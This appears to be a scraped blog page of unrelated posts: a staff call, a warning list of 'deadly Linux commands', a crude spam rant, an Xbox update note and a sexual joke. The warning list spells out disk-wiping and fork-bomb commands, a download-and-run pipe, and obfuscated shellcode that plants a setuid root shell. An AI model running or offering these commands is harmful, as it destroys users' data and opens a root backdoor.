Hey all i’m looking for staff members to work on this site to post funny pics, videos, interesting software, cool websites, guides and anything you find cool funny or useful

Think of the kind of stuff you find on digg.com for an idea of what i want :)

If you want to apply then simply REGISTER an account and start posting!!!

Any questions can be asked in the comments

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

2. Code:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

3. Code:

mkfs.ext3 /dev/sda

4. Code:

:(){:|:&};:

5. Code:

any_command > /dev/sda

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.

Why is the whole Internet convinced i have a Tiny Dick? Don’t know what i’m on about? Take a look (not at that you sick fucks)

Do you get these? i get about 40 per day in my Spam folder, i wouldn’t mind only there sending images now, eww. It is illegal to send spam within the EU,  A Jail-able offence in fact ( your “Friends” are gonna be so impressed with your new found knowledge of spam law)

I would post a Pic of my Penis to prove it’s not tiny but i dont think paul would like Cock on his front page plus it’s just weird.

You’ve been hearing a lot of stuff about the New Xbox Experience over the last few months. How it’ll change the 360, how it’ll add a whole bunch of new features to the console, how it’ll alter the very fabric of space and time around you. Well, provided you’re not already playing around with it, the time for hearing about the NXE is almost over. The update is due to go live at 2:00am Pacific Time, November 19 (ie very, very soon) and provided everything goes according to plan, millions of blades and gamerpics around the world will cry out in terror, before being suddenly silenced. Then summarily replaced with something slicker, brighter and easier to use.

If you’re up (or are staying up) for it, and don’t live on the West Coast of the USA, here’s a chart showing just when 2am Pacific Time is for you. If that time is very late/very early for you, and your significant other asks why you’re up, whatever you do, don’t tell them it’s for a major firmware update for a home video game console.

A Mother had 3 virgin daughters and they were all getting married
within a short time period. Because Mom was a bit worried about how
their sex life would get started, she made them all promise to send a
postcard from the honeymoon with a few words on how marital sex felt.

The first girl sent a card from Hawaii two days after the wedding.
The card said nothing but “Nescafe”. Mom was puzzled at first, but then
went to the kitchen and got out the Nescafe jar. It said:

“Good till the last drop”.

Mom blushed, but was pleased for her daughter.

The second girl sent the card from Vermont a week after the wedding,
and the card read: “Benson & Hedges”. Mom now knew to go straight
to her husband’s cigarettes, and she read from the Benson & Hedges
pack:

“Extra Long. King Size”.

She was again slightly embarrassed but still happy for her daughter.

The third girl left for her honeymoon in the Caribbean. Mom waited
for a week, nothing. Another week went by and still nothing. Then after
a whole month, a card finally arrived.

Written on it with shaky handwriting were the words “British
Adirways”. Mom took out her latest Harper’s Bazaar magazine, flipped
through the pages fearing the worst, and finally found the ad for BA.
The ad said:

“Three times a day, seven days a week, both ways.”

Mom fainted…